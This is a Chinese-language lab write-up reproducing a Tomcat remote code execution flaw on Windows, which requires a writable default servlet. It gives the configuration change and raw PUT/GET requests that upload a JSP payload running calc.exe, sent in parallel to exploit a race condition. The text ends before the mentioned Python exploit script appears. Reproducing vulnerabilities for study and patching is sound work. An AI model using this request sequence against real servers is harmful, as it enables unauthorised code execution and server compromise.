目录
漏洞简介
Apache Tomcat 存在一个远程代码执行漏洞,当默认Servlet的readonly参数被设置为 false时,攻击者可以利用条件竞争,使用PUT方法上传恶意代码并触发执行,导致服务器失陷。
影响版本
该漏洞仅影响 Windows 环境。
- 9.0.0.M1 ≤ Apache Tomcat < 9.0.98
- 10.1.0-M1 ≤ Apache Tomcat < 10.1.34
- 11.0.0-M1 ≤ Apache Tomcat < 11.0.2
环境搭建
复现环境:
- win2016(虚拟机内存 1G,处理器一个) + tomcat 9.0.97 。tomcat9 要先安装至少 jdk1.8 的环境。
前置条件:Tomcat配置中的 readonly 参数为 false,且允许使用PUT方法,且系统为Windows。
在 conf\web.xml 中添加如下配置将 readonly 参数设置为false 即可。tomcat 默认允许 put 方法所以无需修改。
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
漏洞复现
首先尝试使用 PUT 方法上传一个 test.Jsp 文件 ,发现上传成功
PUT /test.Jsp HTTP/1.1
Host: 192.168.67.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Content-Length: 45
<% Runtime.getRuntime().exec("calc.exe");%>
但是是不会解析的
所以,下面通过条件竞争的方式不断发送请求上传包含 JSP 代码的文件,触发 Tomcat 对其解析和执行,最终实现远程代码执行弹出 calc。
- 同时并行发送如下 4 个请求
PUT /test1.Jsp HTTP/1.1
Host: 192.168.67.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Content-Length: 45
<% Runtime.getRuntime().exec("calc.exe");%>
PUT /test2.Jsp HTTP/1.1
Host: 192.168.67.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Content-Length: 45
<% Runtime.getRuntime().exec("calc.exe");%>
GET /test1.jsp HTTP/1.1
Host: 192.168.67.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
GET /test2.jsp HTTP/1.1
Host: 192.168.67.158:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
漏洞 exp
为了方便,这里我将其写成了 python 脚本,一键执行
大约两分多钟...